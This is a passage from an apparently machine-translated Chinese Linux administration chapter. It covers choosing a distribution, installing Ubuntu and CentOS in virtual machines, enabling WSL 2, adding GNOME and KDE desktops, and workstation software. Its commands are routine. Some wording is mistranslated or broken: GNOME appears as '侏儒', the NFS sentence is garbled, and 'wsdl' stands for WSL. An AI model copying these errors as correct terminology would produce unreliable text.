部署模板广泛使用。 还有 CentOS 原子主机,一个设计用来运行 Docker 容器的 Linux 发行版。 我们的 Apache HTTP 服务器可以作为 Docker 容器运行在 CentOS Atomic 上,因为我们可以水平扩展到多个 web 服务器实例。 - -### 用例—个人博客 - -本案例以为基础,从一个软件工程师和博客作者的角度来描述以下场景: - -我想创建一个软件工程博客。 我将使用 Ghost 博客平台,运行在 Node.js 之上,MySQL 作为后台数据库。 我正在寻找一个虚拟专用服务器(VPS)解决方案托管的一个主要的云提供商。 我将亲自安装、维护和管理相关平台。 我应该使用哪个 Linux 发行版? - -#### 功能需求 - -我们正在寻找一个自管理的公开托管 VPS 解决方案。 相关的托管成本是一个敏感的问题。 此外,所需软件包的维护应该相对容易。 我们预计会有频繁的更新,包括 Linux 平台本身。 - -#### Linux 发行版 - -我们选择的是**Ubuntu Server LTS**。 正如之前强调的,Ubuntu 是一个健壮、安全、企业级的 Linux 发行版。 平台维护和管理工作并不需要太多。 所需的软件包——Node.js、Ghost 和 MySQL——很容易获得,并且维护得很好。 Ubuntu Server 占用的空间相对较小。 我们可以在 Ubuntu 系统的要求下运行博客所需的软件,这样托管成本就会合理。 - -### 用例-媒体服务器 - -本案例研究是基于家庭影院迷的视角制作的以下场景: - -我有一个相当大的电影(个人 DVD/蓝光备份)、视频、照片和其他媒体的集合,存储在网络附加存储(Network Attached Storage, NAS)上。 NAS 集成了自己的媒体服务器,但流媒体性能较差。 我使用 Plex 作为媒体播放器系统,与 Plex 媒体服务器作为后端。 我应该使用什么 Linux 平台? - -#### 功能需求 - -媒体服务器的关键系统要求是速度(为了获得高质量和流畅的流体验)、安全性和稳定性。 相关软件包和流编解码器经常更新,平台维护任务和升级也比较频繁。 该平台托管在本地 PC 桌面系统上,通常具有大量的内存和计算能力。 媒体直播从 NAS,在**内部局域网**(**局域网),的内容可以通过**【显示】网络文件系统(NFS**)。****** - - **#### Linux 发行版 - -对于一个好的媒体服务器平台来说,**Debian**和**Ubuntu**都是的绝佳选择。 Debian 的*稳定版*被 Linux 社区认为是非常可靠的,尽管它有些过时。 两者都具有先进的网络和安全性,但是在两者之间进行选择的决定性因素是 Plex Media Server 为 Debian 提供了一个 arm 兼容的包。 Ubuntu 的媒体服务器包仅适用于 Intel/AMD 平台。 如果我们拥有一个小因素的、基于 ARM 处理器的设备,Debian 将是我们的选择。 否则,**Ubuntu LTS**也会满足我们的目的。 - -# 安装 Linux -基础知识 - -本节将作为一个快速指南,介绍任意 Linux 发行版的基本安装。 对于实际操作的例子和具体的指导方针,我们使用 Ubuntu 和 CentOS。 我们还简要介绍了承载 Linux 安装的不同环境。 混合云基础设施的趋势正在出现,其中混合了本地数据中心和公共云部署,其中 Linux 主机可以是裸金属系统、管理程序、虚拟机或 Docker 容器。 - -在大多数情况下,相同的原则适用于执行 Linux 安装。 对于 Docker 容器化的 Linux 部署,我们保留单独的一章。 - -## 如何安装 Linux - -下面是 Linux 安装通常需要的基本步骤。 - -### 步骤 1 -下载 - -我们首先下载我们选择的 Linux 发行版。 大多数发行版通常在发行版的网站上以 ISO 格式提供。 例如,我们可以下载 Ubuntu Desktop 的[https://ubuntu.com/download/desktop](https://ubuntu.com/download/desktop),或者 CentOS 的[https://www.centos.org/download/](https://www.centos.org/download/)。 - -使用 ISO 映像,我们可以创建 Linux 安装所需的可引导介质。 我们还可以使用 ISO 镜像在虚拟机中安装 Linux(参见 VM 中的*Linux 一节)。* - -### 步骤 2 -创建可引导媒体 - -如果我们在一个 T0 PC 桌面或工作站(*裸机*)系统上安装 Linux,可引导的 Linux 介质通常是一个 CD/DVD 或 USB 设备。 有了 DVD 可写光驱在手,我们可以简单地刻录 DVD 与我们的 Linux 发行版 ISO。 但是,由于现代电脑,特别是笔记本电脑,很少配备 CD 或 DVD 单元的任何类型,更常见的可引导媒体的选择是 USB 驱动器。 - -还有第三种可能使用所谓的 PXE 引导服务器。 **PXE**(*pixie)代表**Preboot 执行环境**,这是一个客户机-服务器环境中 PXE-enabled 客户机(PC / BIOS)加载和靴子在当地一个软件包或从 PXE-enabled 广域网服务器。 PXE 消除了对物理引导设备(CD/DVD、USB)的需求,并减少了安装开销,特别是对于大量客户机和操作系统而言。 深入探究 PXE 的内部结构超出了本章的范围。 了解更多关于 PXE 的好起点是[https://en.wikipedia.org/wiki/Preboot_Execution_Environment](https://en.wikipedia.org/wiki/Preboot_Execution_Environment)。* - - *使用我们选择的 Linux 发行版来生成可启动 USB 驱动器的一个相对简单的方法是使用开源工具 UNetbootin([https://unetbootin.github.io](https://unetbootin.github.io))。 UNetbootin 是一个跨平台的实用程序,运行在 Windows, Linux 和 macOS 上: - -![Figure 1.2 – Creating a bootable USB drive with UNetbootin](img/B13196_01_02.jpg) - -图 1.2 -使用 UNetbootin 创建可启动 USB 驱动器 - -下面是使用 UNetbootin 在 Ubuntu Desktop 上创建可启动 USB 驱动器的步骤。 我们假设 Ubuntu Desktop 的 ISO 镜像已经下载并安装了 UNetbootin(在我们的 macOS 上): - -1. 选择我们的 Linux 发行版(`Ubuntu`)。 -2. 指定 Linux 发行版的版本(`20.04`)。 -3. 选择与下载文件相匹配的磁盘映像类型(`ISO`)。 -4. 浏览到我们下载的 ISO 映像(`ubuntu-20.04-live-server-amd64.iso`)的位置。 -5. 指定可引导驱动器(`USB`)的媒体格式。 -6. 选择 USB 驱动器的文件系统挂载(`/dev/disk2s2`) - -现在,让我们看看如何利用可引导介质进行旋转。 - -### 第三步-尝试它在现场模式 - -这个步骤是可选的。 - -大多数 Linux 发行版都有可供下载的*活动*媒体的 ISO 映像。 一旦我们用选择的 Linux 发行版创建了可引导媒体,我们就可以运行 Linux 平台的实时环境,而无需实际安装它。 换句话说,我们可以在决定是否要安装 Linux 发行版之前评估和测试它。 活动 Linux 操作系统加载在我们 PC 的系统内存(RAM)中,而不使用任何磁盘存储。 我们应该确保 PC 有足够的 RAM 来容纳 Linux 发行版所需的最小内存。 - -我们可以通过以下两种方式来运行 Linux 的 live 模式: - -* 从我们的可引导媒体启动 PC/Mac 工作站 -* 启动用我们的 Linux 发行版 ISO 创建的 VM - -当从可引导介质启动 PC 时,我们需要确保 BIOS 中的引导顺序设置为以最高优先级读取驱动器。 在 Mac 上,我们需要在重启后立即按下*选项*键,并选择我们的 USB 驱动器启动。 - -重启后,我们的 Linux 发行版的第一个启动画面应该提供运行在实时模式的选项,如下图所示的 Ubuntu 桌面(**尝试 Ubuntu**): - -![Figure 1.3 – Choosing live mode for Ubuntu](img/B13196_01_03.jpg) - -图 1.3 -为 Ubuntu 选择 live 模式 - -接下来,让我们看看使用可引导介质的 Linux 发行版的安装过程。 - -### 步骤 4—执行安装 - -我们通过从前面创建的可引导介质启动 PC 来启动 Linux 发行版的安装。 为了确保系统可以从驱动器(DVD 或 USB)引导,我们有时需要在 BIOS 中更改引导顺序,特别是从 USB 驱动器引导时。 大多数情况下,PC 或笔记本电脑在上电或重启机器后,立即按*Function*键(甚至是*Delete*键)进入系统 BIOS。 这个键通常出现在初始启动屏幕的底部。 - -在下面几节中,我们将展示使用 Ubuntu 和 CentOS 的 ISO 镜像的安装过程。 我们选择了 Ubuntu 的桌面版和服务器版,并强调了主要的区别。 CentOS 只有一种风格,从本质上讲,它是一个带有可选图形用户界面的服务器平台。 - -### 虚拟机中的 Linux - -在 Linux 安装的每一节中,我们还提供了关于如何为相关 Linux 平台准备 VM 环境的简要指南。 - -虚拟机是物理机器的一个独立的软件抽象。 虚拟机部署在**hypervisor**上。 hypervisor 提供虚拟机的运行时发放和资源管理。 为了简单地说明 Linux VM 的安装,在本节中,我们将限制为两个通用的管理程序: - -* **Oracle VM VirtualBox**([https://www.virtualbox.org](https://www.virtualbox.org)) -* **VMware Workstation**([https://www.vmware.com/products/workstation-pro.html](https://www.vmware.com/products/workstation-pro.html)) - -这两个管理程序都是跨平台虚拟化应用,它们运行在 Windows、Linux 和 macOS 上的 Intel 或 AMD 处理器架构上。 - -在虚拟机上安装 Linux 与在物理机器上安装 Linux 的区别很小。 值得注意的区别与 VM 大小和配置步骤有关,确保满足 Linux 发行版的最低系统要求。 - -## 安装 Ubuntu - -在本节中,我们简要地介绍了 Ubuntu Server LTS 的安装过程。 如果我们计划在虚拟机中安装 Ubuntu,为 VM 环境提供服务需要一些初步步骤。 否则,我们直接进入*安装*部分。 - -### 虚拟机配置 - -在下面的步骤中,我们将创建一个基于 Ubuntu server 的虚拟机——在 macOS 上使用 VMware Workstation: - -![Figure 1.4 – Creating a new VM based on the Ubuntu ISO image](img/B13196_01_04.jpg) - -图 1.4 -基于 Ubuntu ISO 镜像创建一个新的虚拟机 - -让我们来看看这些步骤: - -1. 我们从创建一个基于 Ubuntu Server ISO 的新虚拟机开始。 为了便于说明,我们使用 VMware Workstation。 *图 1.4*显示了为 Ubuntu Server 实例创建新 VM 的初始屏幕。 -2. Following the VM deployment wizard, we get to the final step summarizing the VM provisioning information (*Figure 1.5*): - - ![Figure 1.5 – Customizing the VM settings](img/B13196_01_05.jpg) - - 图 1.5 -自定义虚拟机设置 - -3. 有时候,为了适应 Linux 发行版的最小系统需求,可能必须更改默认的虚拟机大小。 在我们的例子中,Ubuntu Server 需要至少 25gb 的硬盘容量。 我们可以进一步自定义虚拟机设置并增加磁盘容量,例如,到 30gb(*图 1.6*): - -![Figure 1.6 – Customizing the VM disk size](img/B13196_01_06.jpg) - -图 1.6 -自定义虚拟机磁盘大小 - -Linux VM 安装的其余部分与标准物理机安装相同,如下节所示。 - -### 安装 - -下面是 Ubuntu Server LTS 的正常安装过程,从初始启动进入安装模式: - -1. 确保我们在初始设置界面选择**Install Ubuntu**(我们假设*live*模式已经访问过,根据*图 1.3*: -2. 最初的欢迎屏幕提示我们选择的语言(**English**),然后是键盘布局(**English (US)**: -3. Next, we need to set up the server profile, which requires a display name (`Packt`), a server name (`neptune`), a username (`packt`), and the password (*Figure 1.7*): - - ![Figure 1.7 – Setting up the server profile](img/B13196_01_07.jpg) - - 图 1.7 -设置服务器配置文件 - -4. The next screen is asking for the **OpenSSH** server package installation (*Figure 1.8*). OpenSSH enables secure remote access to our server. We choose to check (using **[X]**) the option for **Install OpenSSH server**. Optionally, we can import our existing SSH keys for passwordless authentication: - - ![Figure 1.8 – Enabling the OpenSSH server](img/B13196_01_08.jpg) - - 图 1.8 -启用 OpenSSH 服务器 - -5. An additional screen presents us with popular software packages (**Snaps**) that we may want to install (*Figure 1.9*). Among them, there are a few we'll be covering in later chapters (`microk8s`, `docker`, and `aws-cli`): - - ![Figure 1.9 – Enabling additional software packages](img/B13196_01_09.jpg) - - 图 1.9 -启用附加软件包 - -6. 如果一切顺利,几分钟后,我们完成**安装!** 屏幕,提示重启。 - -系统重新启动后,进入登录界面。 我们已经完成了 Ubuntu 服务器的安装。 - -接下来,让我们看一下类似的安装过程,这一次是使用 CentOS Linux 发行版。 - -## 安装 CentOS - -在本节中,我们将简要说明 CentOS 的安装。 如果我们计划在一个虚拟机中安装 CentOS,在发放虚拟机环境时需要一些初步步骤。 否则,我们直接进行*安装*部分。 - -### 虚拟机配置 - -在下面的步骤中,我们展示了在 macOS 上使用 Oracle VM VirtualBox 安装 CentOS 虚拟机的。 选择 VirtualBox 而不是 VMware Workstation(在前面的 Ubuntu Server 节中使用)只是为了展示一个替代 hypervisor 的使用: - -1. The VirtualBox setup wizard guides us through the following configuration steps of our VM (we specify our choices as shown): - - a)主机名和操作系统(*木星*,*CentOS Red Hat, 64 位*) - - b)内存大小(*4gb*) - - c)硬盘大小(*30gb*) - - d)硬盘文件类型(*VDI VirtualBox disk Image*) - - e)物理硬盘的存储(*动态分配*) - - f)文件位置和大小(*路径到。vdi 文件*,*30gb*) - -2. After a few steps, we end up with a VirtualBox configuration window of our VM, similar to the following (*Figure 1.10*): - - ![Figure 1.10 – VirtualBox VM configuration](img/B13196_01_10.jpg) - - 图 1.10 - VirtualBox 虚拟机配置 - -3. 我们可以通过在虚拟机的 VirtualBox 管理器窗口中选择**设置**来进一步定制。 接下来,我们应该将虚拟机的 IDE 控制器指向要安装的 CentOS ISO 映像。 我们选择**设置**|**存储**|**光驱**|**IDE Secondary Master**,然后点击磁盘图标。 在这里,我们浏览到 CentOS 映像文件的位置。 我们希望 VM 使用 IDE Secondary Master ISO 文件,从操作系统引导并安装(*图 1.11*): - -![Figure 1.11 – Virtual Box VM storage settings](img/B13196_01_11.jpg) - -图 1.11 - Virtual Box 虚拟机存储设置 - -在这个阶段,启动虚拟机开始安装 CentOS。 - -### 安装 - -以下是 CentOS 正常的安装过程,从初始启动进入安装模式: - -1. First, we get the welcome screen with the choice of either installing or testing (in live mode) the CentOS Linux platform (*Figure 1.12*): - - ![Figure 1.12 – The CentOS welcome screen](img/B13196_01_12.jpg) - - 图 1.12 - CentOS 欢迎屏幕 - -2. In the next few steps of the installation process, we get to choose our options for the following: - - a)语言支持和本地化(*英语*,*美国英语*) - - b)软件选择(*带 GUI 的服务器*) - - c)设备选择与存储配置(*本地媒体*) - - 下面的截图总结了所有这些。 设置主要反映默认值(*图 1.13*): - - ![Figure 1.13 – The CentOS installation summary](img/B13196_01_13.jpg) - - 图 1.13 - CentOS 安装摘要 - -3. The final step of the CentOS installation is about configuring the local user accounts on our Linux platform (*Figure 1.14*): - - ![Figure 1.14 – The CentOS user settings](img/B13196_01_14.jpg) - - 图 1.14 - CentOS 用户设置 - -4. The user configuration screen prompts for a *root* password and a new user account. In our case, we create a user account (*packt*) with administrator privileges. This account has full administrative privileges over the system, yet it doesn't have root access. In later chapters, we'll show how to give **superuser** (**sudo**) privileges to our administrator account (*Figure 1.15*): - - ![Figure 1.15 – Rebooting CentOS after installation](img/B13196_01_15.jpg) - - 图 1.15 - CentOS 安装后重启 - -5. 在完成了用户配置后,我们重新启动系统,这将把我们带到 CentOS 的登录屏幕。 我们已经完成了 CentOS 的安装。 我们可能必须在重新启动之前删除安装介质或卸载虚拟机上的 IDE 接口,以避免再次回到设置模式。 - -到目前为止,我们已经学习了如何为两个最常见的 Linux 发行版 Ubuntu 和 CentOS 执行基本安装。 在此过程中,我们为安装媒体创建了一个可引导 USB 闪存驱动器,最常用于 Linux PC 平台安装。 对于这两个 Linux 发行版,我们简要介绍了使用 VMware Workstation 和 Oracle VM VirtualBox 管理程序的特定于 VM 的 Linux 环境。 - -在下一节中,我们将学习如何在 Windows 平台上安装和运行 Linux 发行版,而不使用独立的管理程序。 - -# Windows 子系统(WSL) - -软件开发人员和系统管理员在为其工作或环境的特定需求选择适当的硬件和操作系统平台时常常面临一个艰难的决定。 在过去,Windows 专业人员经常被提醒,一些标准的开发工具、框架或服务器组件在 Linux 或 macOS 平台上广泛可用,而在 Windows 上缺乏本地支持。 **Windows 子系统 for Linux**(**WSL**)试图缩小这个差距。 - -WSL 是 Windows 10 平台的一个特性,它提供了一个本地 GNU/Linux 运行时以及 Windows 桌面环境。 WSL 支持在 Windows 内核之上无缝地部署和集成选定的 Linux 发行版,而不需要专用的管理程序。 启用 WSL 后,您可以轻松地将 Linux 作为本机 Windows 应用安装和运行。 - -重要提示 - -没有 WSL,我们只能通过使用一个独立的 hypervisor(如 Hyper-V、Oracle VM VirtualBox 或 VMware Workstation)在 Windows 平台上部署和运行 Linux 发行版。 WSL 消除了对专用 hypervisor 的需要。 在编写本文时,WSL 是一个嵌入式系统管理程序的 Windows 内核扩展。 - -在本节中,我们提供在 Windows 上启用 WSL 和运行 Ubuntu 发行版所需的步骤。 以下命令在 Windows 机器(或虚拟机)的 PowerShell 命令行中以管理员权限执行: - -1. First, we need to enable the *Windows Subsystem for Linux* optional feature in Windows: - - ```sh - dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart - ``` - - 得到的结果如图*图 1.16*所示: - - ![Figure 1.16 – Enabling the WSL optional feature](img/B13196_01_16.jpg) - - 图 1.16 -启用 WSL 可选特性 - -2. Next, we want to make sure WSL 2 is supported on our Windows platform. We need Windows 10, version 2004, build 19041 or higher. - - wsdl 2 使用管理程序技术。 我们需要在 Windows 上启用*虚拟机平台*可选特性: - - ```sh - dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart - ``` - - 结果应与*图 1.17*相似: - - ![Figure 1.17 – Enabling the VM platform optional feature](img/B13196_01_17.jpg) - - 图 1.17 -启用虚拟机平台可选特性 - -3. At this point, we need to restart our Windows machine to complete the WSL installation and upgrade to WSL 2. - - 重要提示 - - Windows 重启可能有一个*更新和*重启选项。 我们需要确保系统在重启时得到更新。 - -4. After the restart, we need to set WSL 2 as our default version: - - ```sh - wsl --set-default-version 2 - ``` - - 这个命令可能会产生如图*图 1.18*所示的消息: - - ![Figure 1.18 – Further update needed for WSL 2](img/B13196_01_18.jpg) - - 图 1.18 - WSL 2 需要进一步的更新 - -5. Just follow the instructions in the link to circumvent the problem. After proceeding with these steps, we have to rerun the preceding command. If successful, the command output is similar to *Figure 1.19*: - - ![Figure 1.19 – Setting the default version to WSL 2](img/B13196_01_19.jpg) - - 图 1.19 -将默认版本设置为 WSL 2 - -6. With WSL 2 active, we are ready to install our Linux distribution of choice. Open the Microsoft Store and simply search for `Linux` (*Figure 1.20*): - - ![Figure 1.20 – Searching for Linux distro apps in the Microsoft Store](img/B13196_01_20.jpg) - - 图 1.20 -在 Microsoft Store 中搜索 Linux 发行版应用 - -7. 我们选择安装 Ubuntu(*图 1.21*),然后按照 Windows Store 应用驱动的安装过程安装 Ubuntu,就像任何常规的 Windows 应用一样。 完成后,我们通过从 Windows 开始菜单启动应用来运行 Ubuntu: - -![Figure 1.21 – Installing the Ubuntu app](img/B13196_01_21.jpg) - -图 1.21 -安装 Ubuntu 应用 - -安装后,Ubuntu 作为一个传统的 Windows 桌面命令行应用运行。 - -WSL 使越来越多的 Windows 专业人员能够迅速采用 Linux。 如本节所示,WSL 相对容易配置,并且使用 WSL,不需要专用的管理程序来运行 Linux 实例。 - -重要提示 - -WSL 目前不支持 gui 驱动的 Linux 运行时。 使用 WSL,我们只能通过 CLI 进行交互。 - -在下一节中,我们将快速了解 Linux 图形用户界面和两个最著名的 Linux 桌面环境:GNOME 和 KDE。 - -# 安装 Linux 图形用户界面 - -Linux GUI 是一个桌面环境,它允许用户通过窗口、图标、菜单或其他可视元素与系统级组件交互。 对于超越 CLI 的 Linux 用户,Linux 发行版的选择可能从桌面环境开始。 选择桌面环境最终是一个品味问题。 对于一些人来说,最终的 GUI 代表了他们在工作中眼睛和双手的延伸。 - -在众多的 Linux 桌面环境中,有两个是突出的。 让我们简要地看看它们。 - -## 侏儒 - -通过其当前的 GNOME 3(或 GNOME Shell)迭代,这个 GUI 平台是最常见的 Linux 桌面环境之一。 现在,几乎每个主要的 Linux 发行版都带有 GNOME 作为默认 GUI。 Linux 开源社区还创建了 GNOME Extensions,它克服了 GNOME 的一些臭名昭著的缺点,并扩展了桌面功能以满足各种需求。 当它不是默认的桌面环境时(比如 Linux Mint 的肉桂桌面),GNOME 可以很容易地安装和调整。 - -在撰写本文时,Ubuntu (20.04 LTS)和 CentOS(8)的最新发行版都将 GNOME 作为其默认 GUI。 - -### 安装 GNOME 桌面 - -让我们来看一个实际的场景,这个场景需要安装最新的 GNOME 桌面。 - -Ubuntu 服务器管理员: - -我安装了最新版本的 Ubuntu Server LTS(20.04),它看起来好像缺少 GUI 桌面。 如何在我的 Ubuntu 服务器上安装 GNOME 桌面? - -让我们看看如何在 Ubuntu 上安装它: - -1. We start by making sure the current package lists and installed software packages are up to date. The following command updates the local package repository metadata for all configured sources: - - ```sh - sudo apt-get update -y - ``` - - 现在,我们可以这样升级: - - ```sh - sudo apt-get upgrade -y - ``` - -2. 要浏览所有可用的`ubuntu-desktop`包,运行以下命令: - - ```sh - apt-cache search ubuntu-desktop - ``` - -3. 我们选择安装`ubuntu-desktop`包(前面列表中的第一个选项): - - ```sh - sudo apt-get install ubuntu-desktop -y - ``` - -4. The command will take a few minutes to complete. When done, we need to check the status of the **GNOME Display Manager** (**GDM**) service and make sure it shows an `active (running)` status: - - ```sh - systemctl status gdm - ``` - - 预期响应应与图 1.22 相似: - -![Figure 1.22 – Checking the status of GDM](img/B13196_01_22.jpg) - -图 1.22 -检查 GDM 状态 - -GNOME 3 桌面现在已经在 Ubuntu 服务器上安装并激活(图 1.23): - -![Figure 1.23 – The Ubuntu GNOME desktop login screen](img/B13196_01_23.jpg) - -图 1.23 - Ubuntu GNOME 桌面登录界面 - -接下来,让我们看一下 KDE 桌面,以及在 Linux 服务器平台上启用它的类似案例研究。 - -## KDE - -Linux 管理员通常寻找一个相对容易使用、轻量级和高效的桌面环境。 KDE 将所有这些属性组合成一个可靠、快速的桌面界面。 熟悉 Windows(直到版本 7)的用户会觉得 KDE 非常熟悉。 - -经过最近的几次迭代,KDE 已经成为一个非常健壮的桌面环境,几乎每个主要 Linux 发行版都发布了 KDE 的版本。 - -如果有一个适合 Linux 管理员的理想桌面,那么 KDE 就非常接近了。 - -### 安装 KDE 桌面 - -在本节中,我们将在启用默认 GNOME 桌面的情况下重新安装 CentOS 8,并将其替换为 KDE。 - -CentOS 8 管理员: - -我安装了最新版本的 CentOS 8,在安装过程中选择了“服务器与 GUI”选项。 看起来像 CentOS 8 的 GUI 运行在 GNOME 桌面上。 如何在 CentOS 8 服务器上安装 KDE 桌面? - -当我们点击在 CentOS 8 登录屏幕上的齿轮时,我们会得到一个当前安装的显示服务器的列表。 默认是*标准*,是用于 Linux 桌面管理的*Wayland*排字协议的 GNOME 实现。 Wayland 在其最新的*KDE Plasma*迭代中也有 KDE 实现(*图 1.24*): - -![Figure 1.24 – The default CentOS 8 GNOME login screen](img/B13196_01_24.jpg) - -图 1.24 - centos8 的默认 GNOME 登录屏幕 - -让我们把 KDE 等离子桌面添加到我们的 CentOS 8 服务器: - -1. We log in to the CentOS 8 GUI and open the terminal, as suggested in the following illustration (*Figure 1.25*). Alternatively, we can simply SSH into the CentOS 8 server and run the commands in a similar CLI: - - ![Figure 1.25 – Opening the terminal in CentOS](img/B13196_01_25.jpg) - - 图 1.25 -在 CentOS 中打开终端 - -2. 下面的命令必须以*root*的身份执行,或者由具有*sudoer*特权的用户帐户执行。 让我们将管理员用户帐户(`packt`)添加到`sudoers`组。 我们需要切换到*根*来运行所需的命令: - - ```sh - su - ``` - -3. 提示输入*root*密码(在 CentOS 安装期间指定)。 相关信息请参见*Installing CentOS*章节。 要将我们的`packt`用户添加到`sudoers`组,运行以下命令: - - ```sh - usermod -aG wheel packt - ``` - -4. 当命令完成后,切换到我们新创建的`sudoer`帐户: - - ```sh - su - packt - ``` - -5. Verify that our `packt` account does indeed have *sudoer* privileges: - - ```sh - sudo whoami - ``` - - 命令应该提示输入`packt`用户密码,然后生成`root`。 - -6. 接下来,继续安装 EPEL 配置文件,启用相关存储库: - - ```sh - sudo rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - ``` - -7. 然后启用 CentOS`PowerTools`存储库(KDE 需要)。 我们使用`dnf`(*Dandified YUM*),一个用于基于 rpm 的 Linux 发行版的包管理器 CLI: - - ```sh - sudo dnf -y config-manager --enable PowerTools - ``` - -8. Finally, we install the KDE Plasma desktop package group. The next command downloads a relatively large number of files (approximately 400 MB), and it may take a while: - - ```sh - sudo dnf -y group install kde-desktop - ``` - - 当`kde-desktop`安装成功完成时,输出以`Complete!`消息提示结束。 - -9. 现在已经安装了 KDE Plasma 桌面,我们可以重新加载 GNOME 桌面管理器(`gdm`)来解释这些变化,或者简单地重新启动: - - ```sh - sudo systemctl reload gdm - ``` - -10. If we have a CentOS 8 VM environment, a reboot is recommended: - - ```sh - reboot - ``` - - 我们现在可以使用 KDE 等离子桌面登录到 CentOS 8。 点击登录窗口中的齿轮,可以看到可用的**等离子**桌面(*图 1.26*): - - ![Figure 1.26 – Choosing the KDE Plasma desktop](img/B13196_01_26.jpg) - - 图 1.26 -选择 KDE 等离子桌面 - -11. 一旦我们登录,我们就可以根据自己的喜好定制 KDE Plasma 桌面(*图 1.27*): - -![Figure 1.27 – Customizing the KDE Plasma desktop](img/B13196_01_27.jpg) - -图 1.27 -定制 KDE Plasma 桌面 - -在本节中,我们简要地了解了 Linux GUI,并分别展示了在 Ubuntu Server 和 CentOS 上安装 GNOME 和 KDE 桌面环境。 接下来,我们将提供关于设置 Linux 工作站的快速指南,并深入了解对我们的日常工作有益的各种软件包和应用。 - -# 安装和使用 Linux 工作站 - -在这个节中,我们将学习如何设置和使用 Linux 平台作为我们的主要工作站进行日常工作。 我们选择 Ubuntu 桌面 LTS 发行版,但是任何其他现代 Linux 发行版都符合这个要求。 我们的目标是展示一些构建和使用通用 Linux 桌面的基本用户操作和工作流。 - -正如我们在前面关于安装 Linux 发行版的章节中所做的那样,我们从 Ubuntu Desktop LTS 的简单安装指南开始。 - -## 安装 Ubuntu Desktop - -如果我们计划在虚拟机中安装 Ubuntu Desktop,在发放虚拟机环境时需要一些初步步骤。 否则,我们直接进行*安装*部分。 - -### 虚拟机配置 - -VM 发放过程非常类似于*安装 Ubuntu*一节中描述的过程,使用 Ubuntu Server LTS。 - -我们必须注意 Linux 发行版的最小系统要求和相应的虚拟机大小。 在我们的例子中,Ubuntu Desktop 需要一个双核 CPU,至少 4gb RAM,至少 25gb 硬盘容量。 因为我们计划安装一些额外的软件包,所以我们将硬盘容量设置为 60gb(至少)。 - -### 安装 - -Ubuntu Desktop 的安装相对简单,只需要很少的用户操作: - -1. 与大多数现代 Linux 发行版一样,我们得到的第一选择是尝试 Ubuntu 的实时模式,还是简单地继续安装。 相关的屏幕类似于图 1.3。 -2. Beyond the welcome screen, there are a few more steps with the following configuration settings: - - 一)键盘布局 - - b)安装类型(普通与最小) - - c)本地化和时区 - - d)用户配置(帐户凭证)(*图 1.28*): - - ![Figure 1.28 – Setting up the hostname and user credentials](img/B13196_01_28.jpg) - - 图 1.28 -设置主机名和用户凭证 - -3. 越过这个点,安装文件将被解压并复制,同时我们将简要介绍 Ubuntu 平台最吸引人的特性。 - -安装完成后,系统重启进入 Ubuntu Desktop 登录界面。 至此,我们已经完成了 Ubuntu Desktop 的安装。 - -## 默认软件包 - -默认的 Ubuntu 桌面版安装给我们带来了一些软件包和生产力工具,足够我们进行通用的日常工作。 这里有几个例子: - -* **计算器**:算术、科学和金融计算。 -* **Calendar**:访问和管理您的日历。 -* **磁盘**:管理驱动器和媒体。 -* **Files**:访问和组织文件。 -* **Firefox**:Web 浏览器。 -* **图像查看器**:浏览和旋转图像。 -* **LibreOffice**:生产力套件-**Calc**(电子表格),**Draw**(图形),**Impress**(演示文稿),以及**Writer**(文字处理器)。 -* **Logs**:系统日志。 -* **Remmina**:远程桌面连接 -* **节奏盒**:组织,演奏音乐。 -* **截图**:抓取并保存屏幕或单个窗口的图像。 -* **设置**:GNOME 桌面配置实用程序。 -* **Shotwell**:整理照片。 -* **雷鸟邮件**:收发邮件。 -* **To Do:管理个人任务。** -* **video**:播放电影。 - -要查看所有当前安装的应用,我们点击任务栏中的*Ubuntu Software*图标,然后点击**installed**选项卡。 如果我们想节省磁盘空间,我们可以选择删除(卸载)这些应用(*图 1.29*): - -![Figure 1.29 – Adding or removing Ubuntu applications](img/B13196_01_29.jpg) - -图 1.29 -添加或删除 Ubuntu 应用 - -浏览或打开任何应用,单击网格图标(*显示应用*)底部的任务栏,然后根据开始搜索我们的应用类型的名称(图 1.30*):* - -![Figure 1.30 – Searching for installed applications](img/B13196_01_30.jpg) - -图 1.30 -搜索已安装的应用 - -接下来,让我们看看如何在 Ubuntu Linux 工作站上安装额外的应用。 - -## 附加软件包 - -高级用户可能需要额外的软件、工具或实用程序,而不是默认 Ubuntu Desktop 安装所提供的。 要添加新的应用,我们点击任务栏中的*Ubuntu Software*图标,然后点击**Explore**图标,然后点击*search*图标。 在下图所示的示例中,我们寻找 Visual Studio Code,一个功能强大的代码编辑器。 - -一般来说,当我们决定要安装一个特定的应用时,我们选择这个应用,然后打开一个安装相关 Ubuntu 软件包的窗口。 一旦我们完成安装,应用将显示在**Installed**部分,如果我们选择这样做,我们可以稍后卸载它(*图 1.31*): - -![Figure 1.31 – Installing new applications](img/B13196_01_31.jpg) - -图 1.31 -安装新的应用 - -不同的高级用户可能会寻找特定类别的应用、工具或实用程序。 下面是 Linux 用户社区使用的几种最常见的生产力工具和应用。 其中一些可以通过*Ubuntu Software*package 管理界面下载。 其他的可以从相关的供应商网站下载。 - -下面是一些常用的用于 email 和协作的应用,适用于 Ubuntu 和其他主要的 Linux 发行版: - -* **Hiri**:跨平台电子邮件客户端,微软 Outlook 的真正替代品。 -* **雷鸟邮件**:发送和接收邮件(默认安装)。 -* **Slack for Linux**:基于信道的即时消息平台。 -* **Linux 团队**:即时消息传递; Linux 的非官方微软团队客户端。 - -Linux 有大量的图像编辑工具。 这里只是一些: - -* **GIMP**:图像操作程序 -* **digiKam**:图片编辑软件 -* **KRITA**:免费图像编辑与艺术 - -现在大多数软件开发 ide 和工具都是跨平台的。 Ubuntu 和许多其他 Linux 发行版也不例外,提供了大量这样的应用: - -* **Visual Studio Code**:Code 编辑 -* **Sublime 文本**:代码的编辑、标记 -* **Atom**:高度可定制的代码编辑器 -* **Eclipse**:可扩展工具平台和 Java IDE -* **IDEA Ultimate**:能够和人机工程学的 Java IDE,用于企业、web 和移动开发 -* **终结者**:多个终端在一个窗口内 - -虚拟化和容器化工作流的需求现在比以往任何时候都要高。 所有主要的管理程序和容器编排平台也可以用于 Linux: - -* **VirtualBox**:VMmanager by Oracle -* **VMware Workstation**:VM managerby VMware -* **Docker Engine**:打开源容器化平台。 -* **MicroK8s**:轻量级 Kubernetes,用于工作站和设备。 -* **Minikube**:本地运行 Kubernetes。 - -小型 Linux pc 机和设备通常是媒体服务器的理想平台。 